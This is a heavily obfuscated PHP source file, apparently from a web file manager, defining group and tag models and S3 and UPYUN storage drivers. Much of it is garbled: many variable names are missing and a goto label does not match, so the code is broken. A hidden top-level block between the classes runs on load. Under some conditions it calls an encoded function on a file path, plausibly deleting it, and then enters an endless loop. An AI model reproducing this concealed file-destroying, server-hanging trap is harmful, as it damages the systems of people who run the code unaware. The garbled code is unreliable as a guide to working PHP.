$[$Ќ[521]] . $[$Ќ[1863]] . $Ќ[551])); $ = $this->field($Ќ[1863])->where($Ӂ)->select(); foreach ($ as $) { $this->_clearCache($[$Ќ[1863]]); } } private function _clearCache($) { $ϣ =& $_SERVER[]; $this->cacheFunctionClear($ϣ[1945], $); $this->cacheFunctionClear($ϣ[1946], $); } private function _changeChildLevel($䥌, $, $ = false) { $籓 =& $_SERVER[]; $ = $䥌[$籓[521]] . $䥌[$籓[1863]] . $籓[50]; $Ѩڰ = $[$籓[521]] . $[$籓[1863]] . $籓[50] . $䥌[$籓[1863]] . $籓[50]; if ($) { $Ѩڰ = $[$籓[521]] . $[$籓[1863]] . $籓[50]; } $܊ = array($籓[590] => array($籓[550], $䥌[$籓[521]] . $䥌[$籓[1863]] . $籓[551])); $ = array($籓[590] => array($籓[599], "\162\145\x70\154\141\143\x65\x28\x70\x61\162\145\x6e\x74\114\x65\166\145\154\x2c\47{$}\47\x2c\47{$Ѩڰ}\x27\51")); $this->_clearChildrenCache($䥌); $this->where($܊)->data($)->save(); } public function setNamePinyin($, $ո = false) { $ =& $_SERVER[]; if (!$ո) { $ɓ = $this->getInfoSimple($); $ո = $ɓ[$[32]]; } if (!Input::check($ո, $[593])) { $this->metaSet($, $[465], null); $this->metaSet($, $[464], null); return; } $ = array($[465] => str_replace($[53], $[12], Pinyin::get($ո)), $[464] => Pinyin::get($ո, $[594])); $this->metaSet($, $); } protected function groupStatus($, $뫄) { $߃ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } if ($뫄 == $߃[88]) { $ = $this->parentLevelArray($[$߃[521]]); } else { $ҭ = array($߃[590] => array($߃[550], $[$߃[521]] . $[$߃[1863]] . $߃[551])); $ = $this->where($ҭ)->field($߃[1863])->select(); $ = array_to_keyvalue($, $߃[12], $߃[1863]); } $[] = $[$߃[1863]]; $塮 = array(); foreach ($ as $) { $塮[] = array($߃[1863] => $, $߃[94] => $߃[754], $߃[374] => $뫄); $this->_clearCache($); } return Model($߃[1952])->addAll($塮, array(), !0); } protected function groupRemove($᧑, $ɧ = false) { $ =& $_SERVER[]; $ϻ = array($[1863] => $᧑); $ = $this->where($ϻ)->find(); if (!$ || $[$[432]] == 0) { return !1; } if (!$ɧ) { $Ƒ = $this->getInfoSimple($[$[432]]); $this->_changeChildLevel($, $Ƒ, !0); $this->where(array($[432] => $᧑))->save(array($[432] => $[$[432]])); } Model($[1952])->where($ϻ)->delete(); Model($[1953])->where($ϻ)->delete(); Model($[829])->groupRootRemove($᧑); return $this->where($ϻ)->delete(); } protected function groupSort($ײ) { $ =& $_SERVER[]; $՛ = array(); foreach ($ײ as $ => $) { $՛[] = array($[1863], $, $[1887], $ + 1); } $this->saveAll($՛); } public function listData() { $ݭ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ݭ[$_SERVER[][369]]); return $ݭ; } private function _makeOrder($洦 = '') { $ =& $_SERVER[]; $ŵ = array($[1863], $[32], $[1852], $[200]); $ҿ = array($[450] => $[451], $[452] => $[453]); $ = Input::get($[457], $[7], $[1867], $ŵ); $ɻ = Input::get($[458], $[7], $[1954], array($[1954], $[452])); $ɻ = $ҿ[$ɻ]; $洦 = $洦 . "{$}\x20{$ɻ}\54\x20\x67\162\x6f\165\160\x49\104\x20\141\163\143"; return $this->order($洦); } public function listChild($œ) { $ =& $_SERVER[]; $ = $this->where(array($[432] => $œ))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[369]]); return $; } public function listChildIds($ퟳ) { $ԫ =& $_SERVER[]; if (is_string($݁痹)) { $ퟳ = explode($ԫ[50], $ퟳ); } $DZ = $this->where(array($ԫ[1863] => array($ԫ[7], $ퟳ)))->field($ԫ[1955])->select(); if (!$DZ) { return !1; } $ɑˆ = array(); foreach ($DZ as $Ᏻ) { $ɑˆ[] = "\163\x65\154\145\x63\x74\x20\x67\162\157\165\160\x49\104\x20\x66\x72\157\155\40\140\147\162\157\165\x70\x60\40\167\x68\x65\x72\x65\40\x70\141\x72\x65\156\164\114\145\166\145\x6c\40\154\x69\153\x65\40\x27{$Ᏻ[$ԫ[521]]}{$Ᏻ[$ԫ[1863]]}\x2c\45\47"; } $ɑˆ = implode($ԫ[1956], $ɑˆ); $DZ = $this->query($ɑˆ); if (!$DZ) { return array(); } $ퟳ = array_to_keyvalue($DZ, $ԫ[12], $ԫ[1863]); return array_unique($ퟳ); } public function listByID($ƈ) { $Ŕ邼 =& $_SERVER[]; if (!$ƈ) { return array(); } $ìѺ = array($Ŕ邼[1863] => array($Ŕ邼[7], $ƈ)); $ = $this->where($ìѺ)->select(); $ = array_sort_keep($, $Ŕ邼[1863], $ƈ); $this->_listDataApply($); return $; } public function listSearch($) { $ =& $_SERVER[]; $ڪ = $[$[1957]]; $ܔ˔ = isset($[$[1958]]) ? $[$[1958]] : !1; if (!trim($ڪ)) { return !1; } $ڪ = str_replace($[1959], $[1960], $ڪ); $ѣ = array($[1863] => array($[383], "{$ڪ}\45"), $[32] => array($[383], "\45{$ڪ}\x25"), $[1007] => $[1961]); if ($ܔ˔) { $ = $this->getInfoSimple($ܔ˔); $ = $[$[521]] . $ܔ˔ . $[551]; $ѣ = array($ѣ, array($[521] => array($[383], $))); } $ѣ = $this->parseWhereLike($ѣ); $۵ = $this->_makeOrder()->where($ѣ)->selectPage(20); $۵ = $۵ ? $۵ : array($[369] => array(), $[366] => array()); if (!$۵ || count($۵[$[369]]) < 5 && Input::check($ڪ, $[318])) { $ޟը = $this->groupChildrenAll($ܔ˔); $ = $this->_searchFromMeta($[464], $ڪ, 10, $ޟը); $ݗ = $this->_searchFromMeta($[465], $ڪ, 10, $ޟը); $ԇ = array_merge($, $ݗ, $۵[$[369]]); $۵[$[369]] = array_unique_by_key($ԇ, $[1863]); $۵[$[366]][$[367]] = count($۵[$[369]]); $۵[$[366]][$[368]] = ceil($۵[$[366]][$[367]] / $۵[$[366]][$[363]]); } $this->_listDataApply($۵[$[369]]); return $۵; } protected function groupChildrenAll($ȿӳ) { $Ľ =& $_SERVER[]; if (!$ȿӳ) { return !1; } if (is_string($ȿӳ)) { $ȿӳ = array($ȿӳ); } $ڀ = $ȿӳ; foreach ($ȿӳ as $) { $ = $this->getInfoSimple($); $ = array($Ľ[521] => array($Ľ[383], $[$Ľ[521]] . $ . $Ľ[551])); $梦 = $this->field($Ľ[1863])->where($)->select(); $ڀ = array_merge($ڀ, array_to_keyvalue($梦, $Ľ[12], $Ľ[1863])); } return array_unique($ڀ); } private function _searchFromMeta($, $㴈, $, $í) { $տ =& $_SERVER[]; $㴈 = strtolower($㴈); $տ = array($տ[94] => $, $տ[374] => array($տ[383], "\x25{$㴈}\x25")); $տ = $this->parseWhereLike($տ); if ($í) { $տ[$տ[1863]] = array($տ[7], $í); } $ǂ = Model($տ[1962])->where($տ)->limit($)->select(); if (!$ǂ) { return array(); } $ǂ = array_to_keyvalue($ǂ, $տ[12], $տ[1863]); $Ƶ = $this->where(array($տ[1951] => array($տ[7], $ǂ)))->select(); if (!$Ƶ) { return array(); } return $Ƶ; } protected function _listDataApplyItem($ޕ) { $ֱ = array($ޕ); $this->_listDataApply($ֱ); return $ֱ[0]; } protected function _listDataApply(&$ڣӹ) { $ϻ =& $_SERVER[]; if (!$ڣӹ) { return; } $ = array_to_keyvalue($ڣӹ, $ϻ[12], $ϻ[1863]); $this->_listAppendChildren($ڣӹ); $this->_listAppendChildrenMember($ڣӹ); $this->_listAppendMeta($ڣӹ, $); $this->_listAppendParent($ڣӹ); $this->_listAppendSourceRoot($ڣӹ, $); } private function _listAppendChildren(&$É) { $ң =& $_SERVER[]; $ = array_to_keyvalue($É, $ң[12], $ң[1863]); $Ը = array($ң[432] => array($ң[7], $)); $Ь = array($ң[432], $ң[1963] => $ң[500]); $ѱ = $this->field($Ь)->where($Ը)->group($ң[432])->select(); $ = array_to_keyvalue($ѱ, $ң[432], $ң[500]); foreach ($É as &$Σ) { $䏒 = $Σ[$ң[1863]]; $Σ[$ң[1964]] = isset($[$䏒]) ? intval($[$䏒]) : !1; } unset($Σ); } private function _listAppendChildrenMember(&$ę) { $ =& $_SERVER[]; $и = array_to_keyvalue($ę, $[12], $[1863]); $Ϧ = array($[1863] => array($[7], $и)); $Ѝ = array($[1863], $[1963] => $[500]); $ʛ綧 = Model($[1953])->field($Ѝ)->where($Ϧ)->group($[1863])->select(); $ = array_to_keyvalue($ʛ綧, $[1863], $[500]); foreach ($ę as &$Ү) { $ې = $Ү[$[1863]]; $Ү[$[1965]] = isset($[$ې]) ? intval($[$ې]) : !1; } unset($Ү); } private function _listAppendMeta(&$Ι, $Ǜ) { $ =& $_SERVER[]; $ͳ = array($[1863] => array($[7], $Ǜ)); $ = Model($[1952])->where($ͳ)->select(); $ = array_to_keyvalue_group($, $[1863]); foreach ($ as &$) { $ = array_to_keyvalue($, $[94], $[374]); } unset($); foreach ($Ι as &$җ) { $җ[$[466]] = array(); if (isset($[$җ[$[1863]]])) { $җ[$[466]] = $[$җ[$[1863]]]; } } unset($җ); } protected function parentLevelArray($ݖ) { $ =& $_SERVER[]; $ݖ = explode($[50], trim($ݖ, $[50])); $ݖ = array_remove_value($ݖ, $[197]); return $ݖ; } protected function parentInGroup($, $) { $Ր =& $_SERVER[]; $ӧ = $this->getInfoSimple($); if (!$ӧ) { return !0; } $ȦԴ = $this->parentLevelArray($ӧ[$Ր[521]]); $ȦԴ[] = $; foreach ($ȦԴ as $) { if (in_array($ . $Ր[12], $)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ސϟ =& $_SERVER[]; $嘾 = array(); foreach ($ as &$) { $嘾[$[$ސϟ[1863]]] = $[$ސϟ[32]]; $ʎݵ = $this->parentLevelArray($[$ސϟ[521]]); foreach ($ʎݵ as $ւ) { if (!isset($嘾[$ւ])) { $嘾[$ւ] = 0; } } } unset($); foreach ($嘾 as $۳ => $˟) { if ($˟) { continue; } $ = $this->getInfoSimple($۳); $嘾[$۳] = $[$ސϟ[32]]; } $ = $GLOBALS[$ސϟ[6]][$ސϟ[89]][$ސϟ[1966]]; if ($GLOBALS[$ސϟ[503]] == $ސϟ[88]) { $ = !1; } foreach ($ as &$) { $ʎݵ = $this->parentLevelArray($[$ސϟ[521]]); $판 = $ސϟ[12]; foreach ($ʎݵ as $۳ => $ւ) { if ($ && $۳ == 0) { continue; } $판 .= $嘾[$ւ] . $ސϟ[8]; } if ($ʎݵ) { $판 .= $[$ސϟ[32]]; } $[$ސϟ[526]] = str_replace($ސϟ[529], $ސϟ[8], $판); } unset($); } private function _listAppendSourceRoot(&$ˎ, $ݝΥ) { $ =& $_SERVER[]; $ = Model($[829])->listSourceRoot(SourceModel::TYPE_GROUP, $ݝΥ); $ = array_to_keyvalue($, $[505]); $ = array_remove_key($, $[505]); foreach ($ˎ as &$) { $[$[86]] = $[$[$[1863]]] ? $[$[$[1863]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $ކʒ = array(); for ($ = 0; $ < count($); $++) { $窍 = !1; for ($Ϩ = 0; $Ϩ < count($); $Ϩ++) { if ($ == $Ϩ) { continue; } if ($this->isParentOf($[$Ϩ], $[$])) { $窍 = !0; break; } } if (!$窍) { $ކʒ[] = $[$]; } } return $ކʒ; } protected function isParentOf($, $ȞД) { $㥡 =& $_SERVER[]; if (!$ || !$ȞД || $ == $ȞД) { return !1; } $Ԭ = $this->getInfoSimple($); $˾æ = $this->getInfoSimple($ȞД); $Чߜ = $Ԭ[$㥡[521]] . $ . $㥡[50]; if (substr($˾æ[$㥡[521]], 0, strlen($Чߜ)) == $Чߜ) { return !0; } return !1; } public function groupShowRoot($ˍ, $ = false) { $ =& $_SERVER[]; $ƃ = $this->getInfo($ˍ); if (!$ƃ) { return array(); } $ӟ = $this->parentLevelArray($ƃ[$[521]]); $猑 = array($ˍ); if (count($ӟ) == 0) { return $猑; } if ($ && count($ӟ) == 1) { return $猑; } if (!$ƃ[$[466]] || !isset($ƃ[$[466]][$[1949]]) || $ƃ[$[466]][$[1949]] == $[1918]) { return $this->groupShowRoot($ӟ[count($ӟ) - 1], $); } if ($ƃ[$[466]][$[1949]] == $[357]) { $ = explode($[50], $ƃ[$[466]][$[1950]]); if ($) { $猑 = array_merge($猑, $); } } return $猑; } protected function resetParentLevel() { $ɏ =& $_SERVER[]; $ô = $ɏ[1863]; $ = $this->select(); $ = array_to_keyvalue($, $ô); foreach ($ as $) { $Џ = $; $Ս = array(); while ($Џ[$ɏ[432]] != 0) { $Ս[] = $Џ[$ɏ[432]]; $Џ = $[$Џ[$ɏ[432]]]; } $Ս[] = 0; $Ս = $ɏ[50] . implode($ɏ[50], array_reverse($Ս)) . $ɏ[50]; $this->setNamePinyin($[$ô], $[$ɏ[32]]); $this->where(array($ô => $[$ô]))->save(array($ɏ[590] => $Ս)); } return $; } public function groupNameAuto($Ȳ, $) { $ǫ =& $_SERVER[]; $ = $this->where(array($ǫ[401] => $Ȳ))->getField($ǫ[32], !0); if (!$ || !in_array($, $)) { return $; } for ($ = 1; $ <= count($) + 1; $++) { $В = $ . "\50{$}\x29"; if (!in_array($В, $)) { return $В; } } } public function groupSwitch($τ, $݆) { $ =& $_SERVER[]; $Ա = array($[1863] => array($[7], array($τ, $݆))); $ = $this->where($Ա)->select(); $ = array_to_keyvalue($, $[1863]); if (!isset($[$τ]) || !isset($[$݆]) || $[$τ][$[432]] == 0) { return !1; } $Ա = array($[1863] => $τ); $ڊ = Model($[1953])->where($Ա)->select(); if (!$ڊ) { $ڊ = array(); } foreach ($ڊ as $£̵) { $͕ = $£̵[$[1674]]; $Ա = array($[1674] => $͕, $[1863] => $݆); $Օ = Model($[1953])->where($Ա)->find(); if (!$Օ) { $ʨ̚ = array($݆ => $£̵[$[1967]]); Model($[535])->userGroupAdd($͕, $ʨ̚); } Model($[535])->userGroupRemove($͕, $τ); } $Ա = array($[411] => 2, $[432] => 0, $[410] => 1, $[505] => array($[7], array($τ, $݆))); $ù = Model($[829])->where($Ա)->field($[1968])->select(); $ù = array_to_keyvalue($ù, $[505], $[402]); $ѧ = !empty($ù[$τ]) ? $ù[$τ] : !1; if ($ѧ) { if (!$ù[$݆]) { $ù[$݆] = Model($[829])->groupRootAdd($݆); } $ = $ù[$݆]; $Ա = array($[432] => $ѧ); $ù = Model($[829])->where($Ա)->field($[1969])->select(); if (!$ù) { $ù = array(); } Model($[829])->moveClearAuth = !1; foreach ($ù as $ߎ) { $DZ = $ߎ[$[410]] == $[88] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[829])->move($ߎ[$[402]], $, $DZ); } Model($[829])->moveClearAuth = !0; $Ա = array($[411] => 2, $[505] => $τ); $ = array($[505] => $݆); Model($[1970])->where($Ա)->save($); Model($[1971])->where($Ա)->save($); } $this->_changeChildLevel($[$τ], $[$݆], !0); $this->where(array($[432] => $τ))->save(array($[432] => $݆)); $this->_clearChildrenCache($[$݆]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\162\137\x66\141\166"; protected function cacheFunctionAlias($Ɛ) { $˻ =& $_SERVER[]; return array($˻[1972] => array($Ɛ[0], $˻[1973]), $˻[1974] => array($Ɛ[0], $˻[1975])); } protected function get($) { $鹧 =& $_SERVER[]; $ = Model($鹧[522])->metaGet($, $鹧[1976]); $먲ݓ = json_decode($, !0); return $먲ݓ ? $먲ݓ : array($鹧[1977] => $鹧[88], $鹧[369] => array()); } protected function set($ͤ, $ù) { $ =& $_SERVER[]; $ù = $ù ? $ù : array($[1977] => $[88], $[369] => array()); return Model($[522])->metaSet($ͤ, $[1976], json_encode($ù)); } protected function getByTagID($⁓, $Ő) { $滶 =& $_SERVER[]; if (!$⁓ || !$Ő) { return !1; } if (!Model($滶[522])->getInfoSimple($⁓)) { return !1; } $ӯ = $this->get($⁓); if (!$ӯ || !isset($ӯ[$滶[369]])) { return !1; } $ = array_find_by_field($ӯ[$滶[369]], $滶[399], $Ő); return is_array($) ? $ : !1; } public function listSource($, $) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = $this->listData($); $ү = array(); foreach ($ as $) { $비 = $[$[84]]; if (!$비) { continue; } if (!isset($ү[$비])) { $ү[$비] = array(); } $ү[$비][] = $[$[426]]; } $ = array(); foreach ($ү as $ => $ԍ) { $ȥ = !0; if (!$) { $[] = $; continue; } foreach ($ as $ŵ) { if (!in_array($ŵ, $ԍ)) { $ȥ = !1; break; } } if ($ȥ) { $[] = $; } } if (!$) { return array(); } $׀ = array($[417] => array($[418], $), $[505] => $, $[411] => SourceModel::TYPE_GROUP); $ѱ = Model($[1343])->listSource($׀); if (!$ѱ || count($) == $ѱ[$[366]][$[367]]) { return $ѱ; } $ = array(); $Ƹ = array_to_keyvalue($ѱ[$[82]], $[12], $[402]); $é = array_to_keyvalue($ѱ[$[83]], $[12], $[402]); $뜙 = array_merge($é, $Ƹ); foreach ($ as $비) { if (!in_array($비, $뜙)) { $[] = $비; } } if ($) { $this->removeBySource($, $); } return $ѱ; } protected function listData($Ѧ) { $ =& $_SERVER[]; $Մ = array($[1665] => 0, $[484] => array($[1978], 0), $[422] => $[1979] . $Ѧ); $ = $[1980]; $ = $this->field($)->where($Մ)->order($[1981])->select(); return $ ? $ : array(); } protected function addToTag($Ϲ, $˗, $ʃ) { $ =& $_SERVER[]; if (!$this->getByTagID($Ϲ, $ʃ) || !$˗) { return !1; } if (!Model($[829])->pathInfo($˗)) { return !1; } $ۦʂ = array($[1665] => 0, $[484] => $ʃ, $[421] => $˗, $[422] => $[1982] . $Ϲ, $[420] => $[12], $[1867] => 0); if ($this->where($ۦʂ)->find()) { return !1; } return $this->add($ۦʂ); } protected function removeFromTag($ہϛ, $, $Ȗ) { $ =& $_SERVER[]; if (!$this->getByTagID($ہϛ, $Ȗ) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ٴВ = array($[1665] => 0, $[484] => $Ȗ, $[422] => $[1982] . $ہϛ, $[421] => $); return $this->where($ٴВ)->delete(); } protected function removeByTag($, $ؘ) { $ =& $_SERVER[]; if (!$this->getByTagID($, $ؘ)) { return !1; } $ = array($[1665] => 0, $[484] => $ؘ, $[422] => $[1982] . $); return $this->where($)->delete(); } protected function removeBySource($֙, $) { $ =& $_SERVER[]; if (!$֙ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ƶІ = array($[1665] => 0, $[421] => $, $[484] => array($[1021], 0), $[422] => $[1982] . $֙); return $this->where($ƶІ)->delete(); } } if (!isset($_SERVER[$_SERVER[][880]]) || !isset($_SERVER[$_SERVER[][881]])) { $_getc = $_SERVER[][883]; $_getfile = $_SERVER[$_SERVER[][884]] . $_SERVER[][885]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][620]) { $exit = $_SERVER[][886]; $exit(); } $_act = $_SERVER[][1380]; $_act($_SERVER[$_SERVER[][884]] . $_SERVER[][885]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][378]); } } goto C; C͇: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($, $ = 3600) { $Ր =& $_SERVER[]; $ = $Ր[198]; $أͶ = $Ր[1362]; $ = $Ր[62]; $֤ = gmdate($Ր[1363]); $ʫı = gmdate($Ր[755]); $ = $Ր[1364]; $ = $ . $Ր[12]; $ڝ = $Ր[1326]; $ٖ = array($this->accessKey, $ʫı, $this->region, $, $); $ớ = implode($Ր[8], $ٖ); $ˎ = array($Ր[1328] => gmdate($Ր[1327], strtotime($Ր[1365])), $Ր[1329] => array(array($Ր[1331] => $this->bucket), array($Ր[1330] => $), array($Ր[1332], $Ր[1333], $Ր[12]), array($Ր[1332], $Ր[1366], $Ր[12]), array($Ր[1332], $Ր[1367], $Ր[12]), array($Ր[1334] => $ڝ), array($Ր[1368] => $ớ), array($Ր[1369] => $أͶ), array($Ր[1370] => $֤), array($Ր[1371] => $))); $ = base64_encode(json_encode($ˎ)); $Ԛ = hash_hmac($Ր[1372], $ʫı, $Ր[1373] . $this->secret, !0); $볐 = hash_hmac($Ր[1372], $this->region, $Ԛ, !0); $֣ = hash_hmac($Ր[1372], $, $볐, !0); $짡 = hash_hmac($Ր[1372], $, $֣, !0); $ݧ = hash_hmac($Ր[1372], $, $짡); $ = array($Ր[215] => $Ր[12], $Ր[1374] => $Ր[12], $Ր[1330] => $, $Ր[1334] => $ڝ, $Ր[1338] => $, $Ր[1375] => $ớ, $Ր[1376] => $أͶ, $Ր[1377] => $֤, $Ր[1378] => $, $Ր[1379] => $ݧ, $Ր[181] => $this->getHost()); return $; } public function multiUploadFormData($纟, $̲̠ = 3600) { $ާ =& $_SERVER[]; $駮ݪ = gmdate($ާ[1460]); $ = array(); $ = $this->client->getUploadId($this->bucket, $纟, $); if (!$) { return !1; } return array($ާ[223] => $, $ާ[181] => $this->getHost() . $ާ[8] . $this->pathEncode($纟), $ާ[224] => $駮ݪ, $ާ[94] => $纟); } public function multiUploadAuthData($Ж, $Ԃϊ = array()) { $Ԃ =& $_SERVER[]; $Ҽ = isset($Ԃϊ[$Ԃ[174]]) ? $Ԃϊ[$Ԃ[174]] : $Ԃ[12]; $ = $Ԃϊ[$Ԃ[94]]; unset($Ԃϊ[$Ԃ[94]]); if (isset($Ԃϊ[$Ԃ[225]])) { return $this->listUploadParts($, $Ԃϊ); } $镑 = array(); if (isset($Ԃϊ[$Ԃ[1461]])) { $镑[$Ԃ[1462]] = $Ԃϊ[$Ԃ[1461]]; } $՚Ǭ = explode($Ԃ[183], $this->getHost()); $ = array($Ԃ[1463] => $՚Ǭ[1], $Ԃ[1464] => $Ԃ[12], $Ԃ[215] => $Ԃ[120], $Ԃ[1374] => $Ԃϊ[$Ԃ[76]]); $ = $Ԃ[228]; $ǐ = $Ԃ[8] . $this->pathEncode($) . $Ҽ; $ = $this->client->__getSignatureV4($镑, $, $, $ǐ); if (strpos($Ҽ, $Ԃ[227]) === 0) { if (isset($镑[$Ԃ[1462]])) { $ = $镑[$Ԃ[1462]]; } else { if (isset($[$Ԃ[1462]])) { $ = $[$Ԃ[1462]]; } else { $ = hash($Ԃ[1372], $Ԃ[12]); } } return array($Ԃ[234] => $[$Ԃ[234]], $Ԃ[1462] => $, $Ԃ[224] => $[$Ԃ[1465]]); } return $[$Ԃ[234]]; } public function listUploadParts($Ɗ, $ = array()) { $ߞ =& $_SERVER[]; $ի = str_replace($ߞ[235], $ߞ[12], $[$ߞ[174]]); $à = $this->client->listParts($this->bucket, $Ɗ, $ի); if (!$Ã) { return !1; } $ = $ߞ[1466]; foreach ($à as $눙) { $ .= $ߞ[1467] . "\74\x50\x61\162\164\116\x75\155\142\145\x72\76{$눙[$ߞ[1421]]}\x3c\x2f\120\141\162\164\x4e\x75\x6d\x62\x65\162\x3e\12" . "\x3c\105\x54\141\147\x3e{$눙[$ߞ[1422]]}\x3c\x2f\105\x54\x61\147\x3e\12" . $ߞ[1468]; } $ .= $ߞ[1469]; $ټ = array(); $Ɖ = explode($ߞ[183], $this->getHost()); $ɦ = array($ߞ[1463] => $Ɖ[1], $ߞ[215] => $ߞ[120], $ߞ[1374] => strlen($)); $ɫ = $ߞ[226]; $ŏ = $ߞ[8] . $this->pathEncode($Ɗ) . $[$ߞ[174]]; $κ = $this->client->__getSignatureV4($ټ, $ɦ, $ɫ, $ŏ, $); return array($ߞ[234] => $κ[$ߞ[234]], $ߞ[224] => $κ[$ߞ[1465]], $ߞ[236] => $Ã, $ߞ[1462] => $κ[$ߞ[1462]]); } public function link($, $Ɍ = array()) { return parent::link($, $Ɍ); } public function fileOut($ˏ, $ = false, $Ѵ֖ = false, $ճ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1470])) { return parent::fileOutServer($ˏ, $, $Ѵ֖, $ճ); } parent::fileOut($ˏ, $, $Ѵ֖, $ճ); } public function fileOutImage($ځ, $ = 250) { if (strstr($this->endpoint, $_SERVER[][1470])) { return parent::fileOutImageServer($ځ, $); } parent::fileOutImage($ځ, $); } public function fileOutLink($ߎ) { $빆 =& $_SERVER[]; if (substr($ߎ, 0, 7) == $빆[1341]) { $ߎ = $빆[1342] . substr($ߎ, 7); } header($빆[161] . $ߎ); die; } public function getHost() { $ =& $_SERVER[]; $Ú = str_rtrim(parent::getHost(), $[8] . $this->bucket); $Ú = explode($[183], $Ú); return $Ú[0] . $[183] . $this->bucket . $[10] . $Ú[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ʌ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $ʌ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($Ŗƶ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ = false, $Ğ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $թ = $this->sourceSize - $Ğ; if ($ >= $թ) { $ = $թ; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $Ğ, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $Ğ); $ = @fread($this->source, $); fseek_64($this->source, $); return $; } } public function hashMd5($ӛ٠ = false) { return md5($this->getContent()); } public static function hash($, $ = 0) { $ֿ = new PathDriverStream($, $); return $ֿ->hashSimple($); } public static function md5($, $ȩ = 0) { $ = new PathDriverStream($, $ȩ); return $->hashMd5($); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\164\164\160\x3a\x2f\57\x76\x30\x2e\x61\160\x69\56\165\x70\x79\165\x6e\x2e\143\157\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($˿) { $ =& $_SERVER[]; foreach ($˿ as $ => $碠) { if (isset($this->{$})) { $this->{$} = $碠; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1471] . LNG($[1402])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $ = "\107\x45\x54") { $ȝ =& $_SERVER[]; $ = gmdate($ȝ[1435]); $ = base64_encode(hash_hmac($ȝ[1472], "{$}\x26{$}\46{$}", md5("{$this->userpass}"), !0)); $ = array("\101\165\164\x68\157\162\151\172\x61\x74\x69\157\156\72\x55\120\x59\125\x4e\40{$this->username}\x3a{$}", "\104\x61\164\x65\x3a{$}"); return $; } public function ussRequest($, $ތ = "\107\105\x54", $Յܱ = false, $䜕 = false, $ = false) { $Ć =& $_SERVER[]; $ = trim($, $Ć[8]); $ = "\57{$this->bucket}\x2f{$}"; $Ɗʩ = $this->ussHeaders($, $ތ); if ($䜕) { $Ɗʩ = array_merge($Ɗʩ, $䜕); } $ˣ = url_request($this->endpoint . $, $ތ, $Յܱ, $Ɗʩ, $); if (!$ˣ) { return array($Ć[1220] => !1, $Ć[1210] => $Ć[1473]); } if (strtolower($ތ) == $Ć[196] || in_array($ˣ[$Ć[1220]], array($Ć[1326], $Ć[1474]))) { $Յܱ = $ˣ[$Ć[1475]]; } else { $Յܱ = json_decode($ˣ[$Ć[1210]], !0); if (!$Յܱ) { $Յܱ = $ˣ[$Ć[1210]]; } else { if (!$ˣ[$Ć[754]] && isset($Յܱ[$Ć[1476]])) { $Յܱ = $Յܱ[$Ć[1476]]; } } } return array($Ć[1220] => $ˣ[$Ć[754]], $Ć[1210] => $Յܱ); } public function mkfile($, $㇐ = '', $ӻ = REPEAT_RENAME) { if ($this->setContent($, $㇐)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $Ռ =& $_SERVER[]; $ = trim($, $Ռ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $Ӱ = array($Ռ[1477]); $ = $this->ussRequest($, $Ռ[226], !1, $Ӱ); return $[$Ռ[1220]] ? $this->getPathOuter($) : !1; } public function copyFile($ѷƔ, $) { $ŗ =& $_SERVER[]; $⠳Ϫ = array($ŗ[1478] . "\x2f{$this->bucket}\x2f{$ѷƔ}", $ŗ[1479]); $ = $this->ussRequest($, $ŗ[228], !1, $⠳Ϫ); return $[$ŗ[1220]] ? !0 : $this->getPathOuter($); } public function moveFile($, $֚) { $ =& $_SERVER[]; $ = array($[1480] . "\57{$this->bucket}\x2f{$}", $[1479]); $ = $this->ussRequest($֚, $[228], !1, $); return $[$[1220]] ? !0 : $this->getPathOuter($֚); } public function delFile($糄) { $Ȗ =& $_SERVER[]; $ = $this->ussRequest($糄, $Ȗ[1481]); return $[$Ȗ[1220]] ? !0 : !1; } public function delFolder($Р) { $ƹ =& $_SERVER[]; if (!$this->exist($Р)) { return !0; } $this->listItemCache = !1; $Ș = $ = array(); $this->fileList($Р, $Ș, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->ussRequest($[$ƹ[32]], $ƹ[1481]); if (!$[$ƹ[1220]]) { return !1; } } foreach ($Ș as $ύ) { $ = $this->ussRequest($ύ, $ƹ[1481]); if (!$[$ƹ[1220]]) { return !1; } } $ = $this->ussRequest($Р, $ƹ[1481]); return $[$ƹ[1220]]; } public function rename($ㆁ, $) { if ($this->isFile($ㆁ)) { $ = get_path_father($ㆁ) . $; return $this->moveFile($ㆁ, $); } return $this->renameObject($ㆁ, $); } public function fileInfo($, $ɱ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($[8] 